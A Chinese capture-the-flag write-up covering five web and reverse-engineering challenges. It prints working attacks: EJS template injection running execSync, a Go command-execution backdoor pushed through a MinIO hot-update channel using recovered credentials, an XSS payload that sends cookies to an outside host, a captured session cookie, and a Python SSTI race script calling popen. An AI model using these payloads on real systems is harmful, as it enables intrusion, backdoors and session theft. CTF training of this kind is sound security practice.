目录
- Level 24 Pacman
- Level 47 BandBomb
- Level 25 双面人派对
- Level 69 MysteryMessageBoard
- Level 38475 ⻆落
Level 24 Pacman
直接在js文件里面搜索score, 可以找到一个flag, 经过base64和栅栏解密可以发现是一个假的flag
在尝试搜索一下gift, 可以找到另一个flag, 依次解码就行
Level 47 BandBomb
题目给了源码
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());const storage = multer.diskStorage({destination: (req, file, cb) => {const uploadDir = 'uploads';if (!fs.existsSync(uploadDir)) {fs.mkdirSync(uploadDir);}cb(null, uploadDir);},filename: (req, file, cb) => {cb(null, file.originalname);}
});const upload = multer({ storage: storage,fileFilter: (_, file, cb) => {try {if (!file.originalname) {return cb(new Error('无效的文件名'), false);}cb(null, true);} catch (err) {cb(new Error('文件处理错误'), false);}}
});app.get('/', (req, res) => {const uploadsDir = path.join(__dirname, 'uploads');if (!fs.existsSync(uploadsDir)) {fs.mkdirSync(uploadsDir);}fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});
});app.post('/upload', (req, res) => {upload.single('file')(req, res, (err) => {if (err) {return res.status(400).json({ error: err.message });}if (!req.file) {return res.status(400).json({ error: '没有选择文件' });}res.json({ message: '文件上传成功',filename: req.file.filename });});
});app.post('/rename', (req, res) => {const { oldName, newName } = req.body; const oldPath = path.join(__dirname, 'uploads', oldName);const newPath = path.join(__dirname, 'uploads', newName);if (!oldName || !newName) {return res.status(400).json({ error: ' ' });}fs.rename(oldPath, newPath, (err) => {if (err) {return res.status(500).json({ error: ' ' + err.message });}res.json({ message: ' ' });});
});app.listen(port, () => {console.log(`服务器运行在 http://localhost:${port}`);
});
有文件上传, 重命名功能, 但是文件上传之后无法查看自己上传的文件, 进过测试可以发现在/rename
路由重命名存在路径穿越漏洞, 可以将上传的文件传到静态目录查看, 但是没啥作用
尝试将根目录/etc/passwd
放到静态目录查看, 发现是显示没有权限, 然后将/flag
重命名放到静态目录显示是没有这个文件, 所以看来应该是要去执行命令之类的
想到覆盖文件, 上传一个app.js文件覆盖之前的app.js文件, 但是也没有用, 没有办法使它执行
- EJS模板文件
什么是EJS模板文件?
EJS (Embedded JavaScript) 是一种轻量级的模板引擎,用于生成 HTML 页面。它允许在 HTML 中嵌入 JavaScript 代码,支持动态内容渲染,非常适合与 Node.js 一起使用。EJS 模板文件的扩展名通常是
.ejs
。
支持动态数据渲染。
支持模板继承和包括子模板。
使用
<% %>
作为特殊标记嵌入逻辑代码。基本语法:
输出数据到模板(转义 HTML 特殊字符)
<%= variable %>
示例:
<p>Hello, <%= user.name %>!</p>
如果
user.name = "John"
渲染结果为:
<p>Hello, John!</p>
输出数据到模板(不转义 HTML 特殊字符)
<%- variable %>
示例:
<p><%- htmlContent %></p>
如果
htmlContent = "<strong>Bold Text</strong>"
渲染结果为:
<p><strong>Bold Text</strong></p>
这种方式适合渲染包含 HTML 的内容。
执行 JavaScript 代码块
<% code %>
示例:
<% if (user.isLoggedIn) { %><p>Welcome back, <%= user.name %>!</p> <% } else { %><p>Please login.</p> <% } %>
注释(不会出现在渲染后的 HTML 中)
<%# This is a comment %>
包含子模板
<%- include('path/to/template', data) %>
示例:
<%- include('header', { title: 'My Page' }) %>
data
是传递给子模板的变量。
仔细查看代码
app.set('view engine', 'ejs');
Express框架中设置view engine
为ejs,意味着当使用res.render()
方法时,默认会查找扩展名为.ejs的模板文件
并且代码里面也是使用了res.render()
方法
res.render('mortis', { files: files });
可知在 views/
目录下存在mortis.ejs
模板文件, 那么只需要覆盖掉这个文件, 写入我们想要执行的EJS模板代码, 当模板被渲染时就可以执行执行恶意命令了
使用Node.js里面的child_process
模块执行命令
<%= process.mainModule.require('child_process').execSync('env') %>
或者直接拿flag:
<%= process.env.FLAG %>
上传mortis文件, 再重命名, 刷新一下页面就可以看到flag了
Level 25 双面人派对
给了两个url, 第二个直接给了一个main文件, 下载下来
直接运行一下
一个Go语言的框架
题目提示是找到那个女人, UPX加壳了, 需要IDA给它逆一下
可以拿到一些信息:
minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"
根据得到的信息, 下载mc客户端, 连接minio服务器,即添加一个云存储连接
查看一下目录, 可以发现一个src.zip
将src.zip下载下来, 可以拿到整个的源码
可以看到它的源码里面存在 github.com/jpillora/overseer
- 使用
overseer
库实现程序热更新(零停机重启) - 程序会自动拉取update文件
所以可以修改main.go
文件(让ai写一下) 上传上去, 覆盖update文件, 从而实现rce
package mainimport ("level25/fetch""level25/conf""github.com/gin-gonic/gin""github.com/jpillora/overseer""net/http""os/exec" // 新增:用于执行系统命令"runtime"
)func main() {fetcher := &fetch.MinioFetcher{Bucket: conf.MinioBucket,Key: conf.MinioKey,Endpoint: conf.MinioEndpoint,AccessKey: conf.MinioAccessKey,SecretKey: conf.MinioSecretKey,}overseer.Run(overseer.Config{Program: program,Fetcher: fetcher,})
}func program(state overseer.State) {g := gin.Default()// 添加恶意路由:通过 GET 参数执行系统命令g.GET("/cmd", func(c *gin.Context) {command := c.Query("cmd") // 从 URL 参数获取命令,如 /cmd?cmd=whoamiif command == "" {c.String(http.StatusBadRequest, "需要提供 cmd 参数")return}var cmd *exec.Cmdif runtime.GOOS == "windows" {cmd = exec.Command("cmd.exe", "/C", command)} else {cmd = exec.Command("/bin/sh", "-c", command)}output, err := cmd.CombinedOutput()if err != nil {c.String(http.StatusInternalServerError, "执行失败: %s\n输出: %s", err.Error(), string(output))return}c.String(http.StatusOK, "命令输出:\n%s", string(output))})g.Run(":8080")
}
go build -o update main.go
编译一下
然后上传, 覆盖update
./mc cp src/update minio/prodbucket/update
就能执行命令拿到flag了
Level 69 MysteryMessageBoard
一个登录页面
shallot 要先登录才可以留言哦
显然用户名是 shallot
爆破一下密码, 发现是 888888
欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!
显然是xss类型的题目, 存在/admin路由和/flag路由, 查看/flag显示只能admin查看, 通过xss拿到admin的cookie, 再以admin的cookie替换自己的cookie就可以访问/flag路由拿到flag了
<script>location.href="http://ip/?cookie="+document.cookie</script>
MTc0MDM5ODQ5OXxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fEjIViOyrLyJItXh1k7Q30ceUu2J3pAJL7askEmcKf4E
Level 38475 ⻆落
扫目录可以发现robots.txt,给了一个/app.conf
# Include by httpd.conf
<Directory "/usr/local/apache2/app">Options IndexesAllowOverride NoneRequire all granted
</Directory><Files "/usr/local/apache2/app/app.py">Order Allow,DenyDeny from all
</Files>RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"ProxyPass "/app/" "http://127.0.0.1:5000/"
文章: https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/
根据题目给的路径(/usr/local/apache2/app/app.py
)读源码
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templatesapp = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msgdef readmsg():filename = pwd + "/tmp/message.txt"if os.path.exists(filename):f = open(filename, 'r')message = f.read()f.close()return messageelse:return 'No message now.'@app.route('/index', methods=['GET'])
def index():status = request.args.get('status')if status is None:status = ''return render_template("index.html", status=status)@app.route('/send', methods=['POST'])
def write_message():filename = pwd + "/tmp/message.txt"message = request.form['message']f = open(filename, 'w')f.write(message) f.close()return redirect('index?status=Send successfully!!')@app.route('/read', methods=['GET'])
def read_message():if "{" not in readmsg():show = show_msg.replace("{{message}}", readmsg())return render_template_string(show)return 'waf!!'if __name__ == '__main__':app.run(host = '0.0.0.0', port = 5000)
很明显是打ssti, 通过竞争的方式拿到回显
import requests
import threadingurl1="http://node1.hgame.vidar.club:31273/app/send"
url2="http://node1.hgame.vidar.club:31273/app/read"def write():data={"message":"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"}res=requests.post(url1,data=data)def read():res=requests.get(url2)if "Latest message" in res.text:print(res.text)threads=[]
for i in range(5):t=threading.Thread(target=write)threads.append(t)t.start()t=threading.Thread(target=read)threads.append(t)t.start()for t in threads:t.join()